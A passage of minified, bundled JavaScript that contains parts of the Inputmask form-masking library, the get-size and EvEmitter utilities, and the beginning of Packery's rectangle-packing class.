s.substr(a.begin), - h = a, - p = "", - v = !1; - if (o !== f) { - h.begin = 0; - for (var _ = (v = o.length >= f.length) ? o.length : f.length, g = 0; o.charAt(g) === f.charAt(g) && g < _; g++) h.begin++; - v && (p += o.slice(h.begin, h.end)) - } - u !== c && (u.length > c.length ? v && (h.end = h.begin) : u.length < c.length ? h.end += c.length - u.length : u.charAt(0) !== c.charAt(0) && h.end++), A(i, L(), h), p.length > 0 ? e.each(p.split(""), function (t, n) { - var r = new e.Event("keypress"); - r.which = n.charCodeAt(0), Z = !1, ie.keypressEvent.call(i, r) - }) : (h.begin === h.end - 1 && I(i, C(h.begin + 1), h.end), t.keyCode = r.keyCode.DELETE, ie.keydownEvent.call(i, t)), t.preventDefault() - } - }, - setValueEvent: function (t) { - this.inputmask.refreshValue = !1; - var i = this, - n = i.inputmask._valueGet(!0); - e.isFunction(l.onBeforeMask) && (n = l.onBeforeMask.call(U, n, l) || n), n = n.split(""), j(i, !0, !1, J ? n.reverse() : n), q = L().join(""), (l.clearMaskOnLostFocus || l.clearIncomplete) && i.inputmask._valueGet() === k().join("") && i.inputmask._valueSet("") - }, - focusEvent: function (e) { - var t = this, - i = t.inputmask._valueGet(); - l.showMaskOnFocus && (!l.showMaskOnHover || l.showMaskOnHover && "" === i) && (t.inputmask._valueGet() !== L().join("") ? A(t, L(), E(v())) : !1 === ee && I(t, E(v()))), !0 === l.positionCaretOnTab && !1 === ee && "" !== i && (A(t, L(), I(t)), ie.clickEvent.apply(t, [e, !0])), q = L().join("") - }, - mouseleaveEvent: function (e) { - var t = this; - if (ee = !1, l.clearMaskOnLostFocus && i.activeElement !== t) { - var n = L().slice(), - r = t.inputmask._valueGet(); - r !== t.getAttribute("placeholder") && "" !== r && (-1 === v() && r === k().join("") ? n = [] : z(n), A(t, n)) - } - }, - clickEvent: function (t, r) { - function a(t) { - if ("" !== l.radixPoint) { - var i = m().validPositions; - if (i[t] === n || i[t].input === O(t)) { - if (t < E(-1)) return !0; - var r = e.inArray(l.radixPoint, L()); - if (-1 !== r) { - for (var a in i) - if (r < a && i[a].input !== O(a)) return !1; - return !0 - } - } - } - return !1 - } - var s = this; - setTimeout(function () { - if (i.activeElement === s) { - var e = I(s); - if (r && (J ? e.end = e.begin : e.begin = e.end), e.begin === e.end) switch (l.positionCaretOnClick) { - case "none": - break; - case "radixFocus": - if (a(e.begin)) { - var t = L().join("").indexOf(l.radixPoint); - I(s, l.numericInput ? E(t) : t); - break - } - default: - var o = e.begin, - u = v(o, !0), - d = E(u); - if (o < d) I(s, D(o, !0) || D(o - 1, !0) ? o : E(o)); - else { - var f = m().validPositions[u], - c = y(d, f ? f.match.locator : n, f), - h = O(d, c.match); - if ("" !== h && L()[d] !== h && !0 !== c.match.optionalQuantifier && !0 !== c.match.newBlockMarker || !D(d, !0) && c.match.def === h) { - var p = E(d); - (o >= p || o === d) && (d = p) - } - I(s, d) - } - } - } - }, 0) - }, - dblclickEvent: function (e) { - var t = this; - setTimeout(function () { - I(t, 0, E(v())) - }, 0) - }, - cutEvent: function (n) { - var a = this, - s = e(a), - o = I(a), - l = n.originalEvent || n, - u = t.clipboardData || l.clipboardData, - d = J ? L().slice(o.end, o.begin) : L().slice(o.begin, o.end); - u.setData("text", J ? d.reverse().join("") : d.join("")), i.execCommand && i.execCommand("copy"), N(a, r.keyCode.DELETE, o), A(a, L(), m().p, n, q !== L().join("")), a.inputmask._valueGet() === k().join("") && s.trigger("cleared") - }, - blurEvent: function (t) { - var i = e(this), - r = this; - if (r.inputmask) { - var a = r.inputmask._valueGet(), - s = L().slice(); - "" !== a && (l.clearMaskOnLostFocus && (-1 === v() && a === k().join("") ? s = [] : z(s)), !1 === R(s) && (setTimeout(function () { - i.trigger("incomplete") - }, 0), l.clearIncomplete && (p(), s = l.clearMaskOnLostFocus ? [] : k().slice())), A(r, s, n, t)), q !== L().join("") && (q = s.join(""), i.trigger("change")) - } - }, - mouseenterEvent: function (e) { - var t = this; - ee = !0, i.activeElement !== t && l.showMaskOnHover && t.inputmask._valueGet() !== L().join("") && A(t, L()) - }, - submitEvent: function (e) { - q !== L().join("") && $.trigger("change"), l.clearMaskOnLostFocus && -1 === v() && X.inputmask._valueGet && X.inputmask._valueGet() === k().join("") && X.inputmask._valueSet(""), l.removeMaskOnSubmit && (X.inputmask._valueSet(X.inputmask.unmaskedvalue(), !0), setTimeout(function () { - A(X, L()) - }, 0)) - }, - resetEvent: function (e) { - X.inputmask.refreshValue = !0, setTimeout(function () { - $.trigger("setvalue") - }, 0) - } - }; - r.prototype.positionColorMask = function (e, t) { - e.style.left = t.offsetLeft + "px" - }; - var ne; - if (a !== n) switch (a.action) { - case "isComplete": - return X = a.el, R(L()); - case "unmaskedvalue": - return X !== n && a.value === n || (ne = a.value, ne = (e.isFunction(l.onBeforeMask) ? l.onBeforeMask.call(U, ne, l) || ne : ne).split(""), j(n, !1, !1, J ? ne.reverse() : ne), e.isFunction(l.onBeforeWrite) && l.onBeforeWrite.call(U, n, L(), 0, l)), H(X); - case "mask": - ! function (t) { - te.off(t); - var r = function (t, r) { - var a = t.getAttribute("type"), - s = "INPUT" === t.tagName && -1 !== e.inArray(a, r.supportsInputType) || t.isContentEditable || "TEXTAREA" === t.tagName; - if (!s) - if ("INPUT" === t.tagName) { - var o = i.createElement("input"); - o.setAttribute("type", a), s = "text" === o.type, o = null - } else s = "partial"; - return !1 !== s ? function (t) { - function a() { - return this.inputmask ? this.inputmask.opts.autoUnmask ? this.inputmask.unmaskedvalue() : -1 !== v() || !0 !== r.nullable ? i.activeElement === this && r.clearMaskOnLostFocus ? (J ? z(L().slice()).reverse() : z(L().slice())).join("") : o.call(this) : "" : o.call(this) - } - - function s(t) { - l.call(this, t), this.inputmask && e(this).trigger("setvalue") - } - var o, l; - if (!t.inputmask.__valueGet) { - if (!0 !== r.noValuePatching) { - if (Object.getOwnPropertyDescriptor) { - "function" != typeof Object.getPrototypeOf && (Object.getPrototypeOf = "object" == typeof "test".__proto__ ? function (e) { - return e.__proto__ - } : function (e) { - return e.constructor.prototype - }); - var u = Object.getPrototypeOf ? Object.getOwnPropertyDescriptor(Object.getPrototypeOf(t), "value") : n; - u && u.get && u.set ? (o = u.get, l = u.set, Object.defineProperty(t, "value", { - get: a, - set: s, - configurable: !0 - })) : "INPUT" !== t.tagName && (o = function () { - return this.textContent - }, l = function (e) { - this.textContent = e - }, Object.defineProperty(t, "value", { - get: a, - set: s, - configurable: !0 - })) - } else i.__lookupGetter__ && t.__lookupGetter__("value") && (o = t.__lookupGetter__("value"), l = t.__lookupSetter__("value"), t.__defineGetter__("value", a), t.__defineSetter__("value", s)); - t.inputmask.__valueGet = o, t.inputmask.__valueSet = l - } - t.inputmask._valueGet = function (e) { - return J && !0 !== e ? o.call(this.el).split("").reverse().join("") : o.call(this.el) - }, t.inputmask._valueSet = function (e, t) { - l.call(this.el, null === e || e === n ? "" : !0 !== t && J ? e.split("").reverse().join("") : e) - }, o === n && (o = function () { - return this.value - }, l = function (e) { - this.value = e - }, function (t) { - if (e.valHooks && (e.valHooks[t] === n || !0 !== e.valHooks[t].inputmaskpatch)) { - var i = e.valHooks[t] && e.valHooks[t].get ? e.valHooks[t].get : function (e) { - return e.value - }, - a = e.valHooks[t] && e.valHooks[t].set ? e.valHooks[t].set : function (e, t) { - return e.value = t, e - }; - e.valHooks[t] = { - get: function (e) { - if (e.inputmask) { - if (e.inputmask.opts.autoUnmask) return e.inputmask.unmaskedvalue(); - var t = i(e); - return -1 !== v(n, n, e.inputmask.maskset.validPositions) || !0 !== r.nullable ? t : "" - } - return i(e) - }, - set: function (t, i) { - var n, r = e(t); - return n = a(t, i), t.inputmask && r.trigger("setvalue"), n - }, - inputmaskpatch: !0 - } - } - }(t.type), function (t) { - te.on(t, "mouseenter", function (t) { - var i = e(this); - this.inputmask._valueGet() !== L().join("") && i.trigger("setvalue") - }) - }(t)) - } - }(t) : t.inputmask = n, s - }(t, l); - if (!1 !== r && (X = t, $ = e(X), -1 === (V = X !== n ? X.maxLength : n) && (V = n), !0 === l.colorMask && W(X), c && (X.hasOwnProperty("inputmode") && (X.inputmode = l.inputmode, X.setAttribute("inputmode", l.inputmode)), "rtfm" === l.androidHack && (!0 !== l.colorMask && W(X), X.type = "password")), !0 === r && (te.on(X, "submit", ie.submitEvent), te.on(X, "reset", ie.resetEvent), te.on(X, "mouseenter", ie.mouseenterEvent), te.on(X, "blur", ie.blurEvent), te.on(X, "focus", ie.focusEvent), te.on(X, "mouseleave", ie.mouseleaveEvent), !0 !== l.colorMask && te.on(X, "click", ie.clickEvent), te.on(X, "dblclick", ie.dblclickEvent), te.on(X, "paste", ie.pasteEvent), te.on(X, "dragdrop", ie.pasteEvent), te.on(X, "drop", ie.pasteEvent), te.on(X, "cut", ie.cutEvent), te.on(X, "complete", l.oncomplete), te.on(X, "incomplete", l.onincomplete), te.on(X, "cleared", l.oncleared), c || !0 === l.inputEventOnly ? X.removeAttribute("maxLength") : (te.on(X, "keydown", ie.keydownEvent), te.on(X, "keypress", ie.keypressEvent)), te.on(X, "compositionstart", e.noop), te.on(X, "compositionupdate", e.noop), te.on(X, "compositionend", e.noop), te.on(X, "keyup", e.noop), te.on(X, "input", ie.inputFallBackEvent), te.on(X, "beforeinput", e.noop)), te.on(X, "setvalue", ie.setValueEvent), q = k().join(""), "" !== X.inputmask._valueGet(!0) || !1 === l.clearMaskOnLostFocus || i.activeElement === X)) { - var a = e.isFunction(l.onBeforeMask) ? l.onBeforeMask.call(U, X.inputmask._valueGet(!0), l) || X.inputmask._valueGet(!0) : X.inputmask._valueGet(!0); - "" !== a && j(X, !0, !1, J ? a.split("").reverse() : a.split("")); - var s = L().slice(); - q = s.join(""), !1 === R(s) && l.clearIncomplete && p(), l.clearMaskOnLostFocus && i.activeElement !== X && (-1 === v() ? s = [] : z(s)), A(X, s), i.activeElement === X && I(X, E(v())) - } - }(X); - break; - case "format": - return ne = (e.isFunction(l.onBeforeMask) ? l.onBeforeMask.call(U, a.value, l) || a.value : a.value).split(""), j(n, !0, !1, J ? ne.reverse() : ne), a.metadata ? { - value: J ? L().slice().reverse().join("") : L().join(""), - metadata: o.call(this, { - action: "getmetadata" - }, s, l) - } : J ? L().slice().reverse().join("") : L().join(""); - case "isValid": - a.value ? (ne = a.value.split(""), j(n, !0, !0, J ? ne.reverse() : ne)) : a.value = L().join(""); - for (var re = L(), ae = F(), se = re.length - 1; se > ae && !D(se); se--); - return re.splice(ae, se + 1 - ae), R(re) && a.value === L().join(""); - case "getemptymask": - return k().join(""); - case "remove": - if (X && X.inputmask) { - $ = e(X), X.inputmask._valueSet(l.autoUnmask ? H(X) : X.inputmask._valueGet(!0)), te.off(X); - Object.getOwnPropertyDescriptor && Object.getPrototypeOf ? Object.getOwnPropertyDescriptor(Object.getPrototypeOf(X), "value") && X.inputmask.__valueGet && Object.defineProperty(X, "value", { - get: X.inputmask.__valueGet, - set: X.inputmask.__valueSet, - configurable: !0 - }) : i.__lookupGetter__ && X.__lookupGetter__("value") && X.inputmask.__valueGet && (X.__defineGetter__("value", X.inputmask.__valueGet), X.__defineSetter__("value", X.inputmask.__valueSet)), X.inputmask = n - } - return X; - case "getmetadata": - if (e.isArray(s.metadata)) { - var oe = h(!0, 0, !1).join(""); - return e.each(s.metadata, function (e, t) { - if (t.mask === oe) return oe = t, !1 - }), oe - } - return s.metadata - } - } - var l = navigator.userAgent, - u = /mobile/i.test(l), - d = /iemobile/i.test(l), - f = /iphone/i.test(l) && !d, - c = /android/i.test(l) && !d; - return r.prototype = { - dataAttribute: "data-inputmask", - defaults: { - placeholder: "_", - optionalmarker: { - start: "[", - end: "]" - }, - quantifiermarker: { - start: "{", - end: "}" - }, - groupmarker: { - start: "(", - end: ")" - }, - alternatormarker: "|", - escapeChar: "\\", - mask: null, - regex: null, - oncomplete: e.noop, - onincomplete: e.noop, - oncleared: e.noop, - repeat: 0, - greedy: !0, - autoUnmask: !1, - removeMaskOnSubmit: !1, - clearMaskOnLostFocus: !0, - insertMode: !0, - clearIncomplete: !1, - alias: null, - onKeyDown: e.noop, - onBeforeMask: null, - onBeforePaste: function (t, i) { - return e.isFunction(i.onBeforeMask) ? i.onBeforeMask.call(this, t, i) : t - }, - onBeforeWrite: null, - onUnMask: null, - showMaskOnFocus: !0, - showMaskOnHover: !0, - onKeyValidation: e.noop, - skipOptionalPartCharacter: " ", - numericInput: !1, - rightAlign: !1, - undoOnEscape: !0, - radixPoint: "", - radixPointDefinitionSymbol: n, - groupSeparator: "", - keepStatic: null, - positionCaretOnTab: !0, - tabThrough: !1, - supportsInputType: ["text", "tel", "password"], - ignorables: [8, 9, 13, 19, 27, 33, 34, 35, 36, 37, 38, 39, 40, 45, 46, 93, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 0, 229], - isComplete: null, - canClearPosition: e.noop, - preValidation: null, - postValidation: null, - staticDefinitionSymbol: n, - jitMasking: !1, - nullable: !0, - inputEventOnly: !1, - noValuePatching: !1, - positionCaretOnClick: "lvp", - casing: null, - inputmode: "verbatim", - colorMask: !1, - androidHack: !1, - importDataAttributes: !0 - }, - definitions: { - 9: { - validator: "[0-91-9]", - cardinality: 1, - definitionSymbol: "*" - }, - a: { - validator: "[A-Za-zА-яЁёÀ-ÿµ]", - cardinality: 1, - definitionSymbol: "*" - }, - "*": { - validator: "[0-91-9A-Za-zА-яЁёÀ-ÿµ]", - cardinality: 1 - } - }, - aliases: {}, - masksCache: {}, - mask: function (l) { - function u(i, r, s, o) { - function l(e, r) { - null !== (r = r !== n ? r : i.getAttribute(o + "-" + e)) && ("string" == typeof r && (0 === e.indexOf("on") ? r = t[r] : "false" === r ? r = !1 : "true" === r && (r = !0)), s[e] = r) - } - if (!0 === r.importDataAttributes) { - var u, d, f, c, h = i.getAttribute(o); - if (h && "" !== h && (h = h.replace(new RegExp("'", "g"), '"'), d = JSON.parse("{" + h + "}")), d) { - f = n; - for (c in d) - if ("alias" === c.toLowerCase()) { - f = d[c]; - break - } - } - l("alias", f), s.alias && a(s.alias, s, r); - for (u in r) { - if (d) { - f = n; - for (c in d) - if (c.toLowerCase() === u.toLowerCase()) { - f = d[c]; - break - } - } - l(u, f) - } - } - return e.extend(!0, r, s), ("rtl" === i.dir || r.rightAlign) && (i.style.textAlign = "right"), ("rtl" === i.dir || r.numericInput) && (i.dir = "ltr", i.removeAttribute("dir"), r.isRTL = !0), r - } - var d = this; - return "string" == typeof l && (l = i.getElementById(l) || i.querySelectorAll(l)), l = l.nodeName ? [l] : l, e.each(l, function (t, i) { - var a = e.extend(!0, {}, d.opts); - u(i, a, e.extend(!0, {}, d.userOptions), d.dataAttribute); - var l = s(a, d.noMasksCache); - l !== n && (i.inputmask !== n && (i.inputmask.opts.autoUnmask = !0, i.inputmask.remove()), i.inputmask = new r(n, n, !0), i.inputmask.opts = a, i.inputmask.noMasksCache = d.noMasksCache, i.inputmask.userOptions = e.extend(!0, {}, d.userOptions), i.inputmask.isRTL = a.isRTL || a.numericInput, i.inputmask.el = i, i.inputmask.maskset = l, e.data(i, "_inputmask_opts", a), o.call(i.inputmask, { - action: "mask" - })) - }), l && l[0] ? l[0].inputmask || this : this - }, - option: function (t, i) { - return "string" == typeof t ? this.opts[t] : "object" == typeof t ? (e.extend(this.userOptions, t), this.el && !0 !== i && this.mask(this.el), this) : void 0 - }, - unmaskedvalue: function (e) { - return this.maskset = this.maskset || s(this.opts, this.noMasksCache), o.call(this, { - action: "unmaskedvalue", - value: e - }) - }, - remove: function () { - return o.call(this, { - action: "remove" - }) - }, - getemptymask: function () { - return this.maskset = this.maskset || s(this.opts, this.noMasksCache), o.call(this, { - action: "getemptymask" - }) - }, - hasMaskedValue: function () { - return !this.opts.autoUnmask - }, - isComplete: function () { - return this.maskset = this.maskset || s(this.opts, this.noMasksCache), o.call(this, { - action: "isComplete" - }) - }, - getmetadata: function () { - return this.maskset = this.maskset || s(this.opts, this.noMasksCache), o.call(this, { - action: "getmetadata" - }) - }, - isValid: function (e) { - return this.maskset = this.maskset || s(this.opts, this.noMasksCache), o.call(this, { - action: "isValid", - value: e - }) - }, - format: function (e, t) { - return this.maskset = this.maskset || s(this.opts, this.noMasksCache), o.call(this, { - action: "format", - value: e, - metadata: t - }) - }, - analyseMask: function (t, i, a) { - function s(e, t, i, n) { - this.matches = [], this.openGroup = e || !1, this.alternatorGroup = !1, this.isGroup = e || !1, this.isOptional = t || !1, this.isQuantifier = i || !1, this.isAlternator = n || !1, this.quantifier = { - min: 1, - max: 1 - } - } - - function o(t, s, o) { - o = o !== n ? o : t.matches.length; - var l = t.matches[o - 1]; - if (i) 0 === s.indexOf("[") || b && /\\d|\\s|\\w]/i.test(s) || "." === s ? t.matches.splice(o++, 0, { - fn: new RegExp(s, a.casing ? "i" : ""), - cardinality: 1, - optionality: t.isOptional, - newBlockMarker: l === n || l.def !== s, - casing: null, - def: s, - placeholder: n, - nativeDef: s - }) : (b && (s = s[s.length - 1]), e.each(s.split(""), function (e, i) { - l = t.matches[o - 1], t.matches.splice(o++, 0, { - fn: null, - cardinality: 0, - optionality: t.isOptional, - newBlockMarker: l === n || l.def !== i && null !== l.fn, - casing: null, - def: a.staticDefinitionSymbol || i, - placeholder: a.staticDefinitionSymbol !== n ? i : n, - nativeDef: i - }) - })), b = !1; - else { - var u = (a.definitions ? a.definitions[s] : n) || r.prototype.definitions[s]; - if (u && !b) { - for (var d = u.prevalidator, f = d ? d.length : 0, c = 1; c < u.cardinality; c++) { - var h = f >= c ? d[c - 1] : [], - m = h.validator, - p = h.cardinality; - t.matches.splice(o++, 0, { - fn: m ? "string" == typeof m ? new RegExp(m, a.casing ? "i" : "") : new function () { - this.test = m - } : new RegExp("."), - cardinality: p || 1, - optionality: t.isOptional, - newBlockMarker: l === n || l.def !== (u.definitionSymbol || s), - casing: u.casing, - def: u.definitionSymbol || s, - placeholder: u.placeholder, - nativeDef: s - }), l = t.matches[o - 1] - } - t.matches.splice(o++, 0, { - fn: u.validator ? "string" == typeof u.validator ? new RegExp(u.validator, a.casing ? "i" : "") : new function () { - this.test = u.validator - } : new RegExp("."), - cardinality: u.cardinality, - optionality: t.isOptional, - newBlockMarker: l === n || l.def !== (u.definitionSymbol || s), - casing: u.casing, - def: u.definitionSymbol || s, - placeholder: u.placeholder, - nativeDef: s - }) - } else t.matches.splice(o++, 0, { - fn: null, - cardinality: 0, - optionality: t.isOptional, - newBlockMarker: l === n || l.def !== s && null !== l.fn, - casing: null, - def: a.staticDefinitionSymbol || s, - placeholder: a.staticDefinitionSymbol !== n ? s : n, - nativeDef: s - }), b = !1 - } - } - - function l(t) { - t && t.matches && e.each(t.matches, function (e, r) { - var s = t.matches[e + 1]; - (s === n || s.matches === n || !1 === s.isQuantifier) && r && r.isGroup && (r.isGroup = !1, i || (o(r, a.groupmarker.start, 0), !0 !== r.openGroup && o(r, a.groupmarker.end))), l(r) - }) - } - - function u() { - if (M.length > 0) { - if (m = M[M.length - 1], o(m, c), m.isAlternator) { - p = M.pop(); - for (var e = 0; e < p.matches.length; e++) p.matches[e].isGroup = !1; - M.length > 0 ? (m = M[M.length - 1]).matches.push(p) : w.matches.push(p) - } - } else o(w, c) - } - - function d(e) { - e.matches = e.matches.reverse(); - for (var t in e.matches) - if (e.matches.hasOwnProperty(t)) { - var i = parseInt(t); - if (e.matches[t].isQuantifier && e.matches[i + 1] && e.matches[i + 1].isGroup) { - var r = e.matches[t]; - e.matches.splice(t, 1), e.matches.splice(i + 1, 0, r) - } - e.matches[t].matches !== n ? e.matches[t] = d(e.matches[t]) : e.matches[t] = function (e) { - return e === a.optionalmarker.start ? e = a.optionalmarker.end : e === a.optionalmarker.end ? e = a.optionalmarker.start : e === a.groupmarker.start ? e = a.groupmarker.end : e === a.groupmarker.end && (e = a.groupmarker.start), e - }(e.matches[t]) - } - return e - } - var f, c, h, m, p, v, _, g = /(?:[?*+]|\{[0-9\+\*]+(?:,[0-9\+\*]*)?\})|[^.?*+^${[]()|\\]+|./g, - y = /\[\^?]?(?:[^\\\]]+|\\[\S\s]?)*]?|\\(?:0(?:[0-3][0-7]{0,2}|[4-7][0-7]?)?|[1-9][0-9]*|x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4}|c[A-Za-z]|[\S\s]?)|\((?:\?[:=!]?)?|(?:[?*+]|\{[0-9]+(?:,[0-9]*)?\})\??|[^.?*+^${[()|\\]+|./g, - b = !1, - w = new s, - M = [], - k = []; - for (i && (a.optionalmarker.start = n, a.optionalmarker.end = n); f = i ? y.exec(t) : g.exec(t);) { - if (c = f[0], i) switch (c.charAt(0)) { - case "?": - c = "{0,1}"; - break; - case "+": - case "*": - c = "{" + c + "}" - } - if (b) u(); - else switch (c.charAt(0)) { - case a.escapeChar: - b = !0, i && u(); - break; - case a.optionalmarker.end: - case a.groupmarker.end: - if (h = M.pop(), h.openGroup = !1, h !== n) - if (M.length > 0) { - if ((m = M[M.length - 1]).matches.push(h), m.isAlternator) { - p = M.pop(); - for (var L = 0; L < p.matches.length; L++) p.matches[L].isGroup = !1, p.matches[L].alternatorGroup = !1; - M.length > 0 ? (m = M[M.length - 1]).matches.push(p) : w.matches.push(p) - } - } else w.matches.push(h); - else u(); - break; - case a.optionalmarker.start: - M.push(new s(!1, !0)); - break; - case a.groupmarker.start: - M.push(new s(!0)); - break; - case a.quantifiermarker.start: - var T = new s(!1, !1, !0), - x = (c = c.replace(/[{}]/g, "")).split(","), - S = isNaN(x[0]) ? x[0] : parseInt(x[0]), - Y = 1 === x.length ? S : isNaN(x[1]) ? x[1] : parseInt(x[1]); - if ("*" !== Y && "+" !== Y || (S = "*" === Y ? 0 : 1), T.quantifier = { - min: S, - max: Y - }, M.length > 0) { - var D = M[M.length - 1].matches; - (f = D.pop()).isGroup || ((_ = new s(!0)).matches.push(f), f = _), D.push(f), D.push(T) - } else(f = w.matches.pop()).isGroup || (i && null === f.fn && "." === f.def && (f.fn = new RegExp(f.def, a.casing ? "i" : "")), (_ = new s(!0)).matches.push(f), f = _), w.matches.push(f), w.matches.push(T); - break; - case a.alternatormarker: - if (M.length > 0) { - var E = (m = M[M.length - 1]).matches[m.matches.length - 1]; - v = m.openGroup && (E.matches === n || !1 === E.isGroup && !1 === E.isAlternator) ? M.pop() : m.matches.pop() - } else v = w.matches.pop(); - if (v.isAlternator) M.push(v); - else if (v.alternatorGroup ? (p = M.pop(), v.alternatorGroup = !1) : p = new s(!1, !1, !1, !0), p.matches.push(v), M.push(p), v.openGroup) { - v.openGroup = !1; - var C = new s(!0); - C.alternatorGroup = !0, M.push(C) - } - break; - default: - u() - } - } - for (; M.length > 0;) h = M.pop(), w.matches.push(h); - return w.matches.length > 0 && (l(w), k.push(w)), (a.numericInput || a.isRTL) && d(k[0]), k - } - }, r.extendDefaults = function (t) { - e.extend(!0, r.prototype.defaults, t) - }, r.extendDefinitions = function (t) { - e.extend(!0, r.prototype.definitions, t) - }, r.extendAliases = function (t) { - e.extend(!0, r.prototype.aliases, t) - }, r.format = function (e, t, i) { - return r(t).format(e, i) - }, r.unmask = function (e, t) { - return r(t).unmaskedvalue(e) - }, r.isValid = function (e, t) { - return r(t).isValid(e) - }, r.remove = function (t) { - e.each(t, function (e, t) { - t.inputmask && t.inputmask.remove() - }) - }, r.escapeRegex = function (e) { - var t = ["/", ".", "*", "+", "?", "|", "(", ")", "[", "]", "{", "}", "\\", "$", "^"]; - return e.replace(new RegExp("(\\" + t.join("|\\") + ")", "gim"), "\\$1") - }, r.keyCode = { - ALT: 18, - BACKSPACE: 8, - BACKSPACE_SAFARI: 127, - CAPS_LOCK: 20, - COMMA: 188, - COMMAND: 91, - COMMAND_LEFT: 91, - COMMAND_RIGHT: 93, - CONTROL: 17, - DELETE: 46, - DOWN: 40, - END: 35, - ENTER: 13, - ESCAPE: 27, - HOME: 36, - INSERT: 45, - LEFT: 37, - MENU: 93, - NUMPAD_ADD: 107, - NUMPAD_DECIMAL: 110, - NUMPAD_DIVIDE: 111, - NUMPAD_ENTER: 108, - NUMPAD_MULTIPLY: 106, - NUMPAD_SUBTRACT: 109, - PAGE_DOWN: 34, - PAGE_UP: 33, - PERIOD: 190, - RIGHT: 39, - SHIFT: 16, - SPACE: 32, - TAB: 9, - UP: 38, - WINDOWS: 91, - X: 88 - }, r - }) -}, function (e, t, i) { - var n, r; - (function (a, s) { - if (true) { - !(n = s, r = typeof n === "function" ? n.call(t, i, t, e) : n, r !== undefined && (e.exports = r)) - } else if (typeof e == "object" && e.exports) { - e.exports = s() - } else { - a.getSize = s() - } - })(window, function e() { - "use strict"; - - function t(e) { - var t = parseFloat(e); - var i = e.indexOf("%") == -1 && !isNaN(t); - return i && t - } - - function i() {} - var n = typeof console == "undefined" ? i : function (e) { - console.error(e) - }; - var r = ["paddingLeft", "paddingRight", "paddingTop", "paddingBottom", "marginLeft", "marginRight", "marginTop", "marginBottom", "borderLeftWidth", "borderRightWidth", "borderTopWidth", "borderBottomWidth"]; - var a = r.length; - - function s() { - var e = { - width: 0, - height: 0, - innerWidth: 0, - innerHeight: 0, - outerWidth: 0, - outerHeight: 0 - }; - for (var t = 0; t < a; t++) { - var i = r[t]; - e[i] = 0 - } - return e - } - - function o(e) { - var t = getComputedStyle(e); - if (!t) { - n("Style returned " + t + ". Are you running this code in a hidden iframe on Firefox? " + "See https://bit.ly/getsizebug1") - } - return t - } - var l = false; - var u; - - function d() { - if (l) { - return - } - l = true; - var e = document.createElement("div"); - e.style.width = "200px"; - e.style.padding = "1px 2px 3px 4px"; - e.style.borderStyle = "solid"; - e.style.borderWidth = "1px 2px 3px 4px"; - e.style.boxSizing = "border-box"; - var i = document.body || document.documentElement; - i.appendChild(e); - var n = o(e); - u = Math.round(t(n.width)) == 200; - f.isBoxSizeOuter = u; - i.removeChild(e) - } - - function f(e) { - d(); - if (typeof e == "string") { - e = document.querySelector(e) - } - if (!e || typeof e != "object" || !e.nodeType) { - return - } - var i = o(e); - if (i.display == "none") { - return s() - } - var n = {}; - n.width = e.offsetWidth; - n.height = e.offsetHeight; - var l = n.isBorderBox = i.boxSizing == "border-box"; - for (var f = 0; f < a; f++) { - var c = r[f]; - var h = i[c]; - var m = parseFloat(h); - n[c] = !isNaN(m) ? m : 0 - } - var p = n.paddingLeft + n.paddingRight; - var v = n.paddingTop + n.paddingBottom; - var _ = n.marginLeft + n.marginRight; - var g = n.marginTop + n.marginBottom; - var y = n.borderLeftWidth + n.borderRightWidth; - var b = n.borderTopWidth + n.borderBottomWidth; - var w = l && u; - var M = t(i.width); - if (M !== false) { - n.width = M + (w ? 0 : p + y) - } - var k = t(i.height); - if (k !== false) { - n.height = k + (w ? 0 : v + b) - } - n.innerWidth = n.width - (p + y); - n.innerHeight = n.height - (v + b); - n.outerWidth = n.width + _; - n.outerHeight = n.height + g; - return n - } - return f - }) -}, function (e, t, i) { - var n, r; - (function (a, s) { - if (true) { - !(n = s, r = typeof n === "function" ? n.call(t, i, t, e) : n, r !== undefined && (e.exports = r)) - } else if (typeof e == "object" && e.exports) { - e.exports = s() - } else { - a.EvEmitter = s() - } - })(typeof window != "undefined" ? window : this, function () { - "use strict"; - - function e() {} - var t = e.prototype; - t.on = function (e, t) { - if (!e || !t) { - return - } - var i = this._events = this._events || {}; - var n = i[e] = i[e] || []; - if (n.indexOf(t) == -1) { - n.push(t) - } - return this - }; - t.once = function (e, t) { - if (!e || !t) { - return - } - this.on(e, t); - var i = this._onceEvents = this._onceEvents || {}; - var n = i[e] = i[e] || {}; - n[t] = true; - return this - }; - t.off = function (e, t) { - var i = this._events && this._events[e]; - if (!i || !i.length) { - return - } - var n = i.indexOf(t); - if (n != -1) { - i.splice(n, 1) - } - return this - }; - t.emitEvent = function (e, t) { - var i = this._events && this._events[e]; - if (!i || !i.length) { - return - } - i = i.slice(0); - t = t || []; - var n = this._onceEvents && this._onceEvents[e]; - for (var r = 0; r < i.length; r++) { - var a = i[r]; - var s = n && n[a]; - if (s) { - this.off(e, a); - delete n[a] - } - a.apply(this, t) - } - return this - }; - t.allOff = function () { - delete this._events; - delete this._onceEvents - }; - return e - }) -}, function (e, t, i) { - var n, r; - (function (a, s) { - if (true) { - !(n = s, r = typeof n === "function" ? n.call(t, i, t, e) : n, r !== undefined && (e.exports = r)) - } else if (typeof e == "object" && e.exports) { - e.exports = s() - } else { - a.Packery = a.Packery || {}; - a.Packery.Rect = s() - } - })(window, function e() { - "use strict"; - - function t(e) { - for (var i in t.defaults) { - this[i] = t.defaults[i] - } - for (i in e) { - this[i] = e[i] - } - } - t.defaults = { - x: 0, - y: 0, - width: 0, - height: 0 - }; - var i = t.prototype; - i.contains = function (e) { - var t = e.width || 0; - var i = e.height || 0; - return this.x <= e.x && this.y <= e.y && this.x + this.width >= e.x + t && this.y + this.height >= e.y + i - }; - i.overlaps = function (e) { - var t = this.x + this.width; - var i = this.y + this.height; - var n = e.x + e.width; - var r = e.y + e.height; - return this.x < n && t > e.x && this.y < r && i > e.y - }; - i.getMaximalFreeRects = function (e) { - if (!this.overlaps(e)) { - return false - } - var i = []; - var n; - var r = this.x + this.width; - var a = this.y + this.height; - var s = e.x + e.width; - var o = e.y + e.height; - if (this.y < e.y) { - n = new t({ - x: this.x, - y: this.y, - width: this.width, - height: e.y - this.y - }); - i.push(n) - } - if (r > s) { - n = new t({ - x: s, - y: this.y, - width: r - s, - height: this.height - }); - i.push(n) - } - if (a > o) { - n = new t({ - x: this.x, - y: o, - width: this.width, - height: a - o - }); - i.push(n) - } - if (this.x < e.x) { - n = new t({ - x: this.x, - y: this.y, - width: e.x - this.x, - height: this.height - }); - i.push(n) - } - return i - }; - i.canFit = function (e) { - return this.width >= e.width && 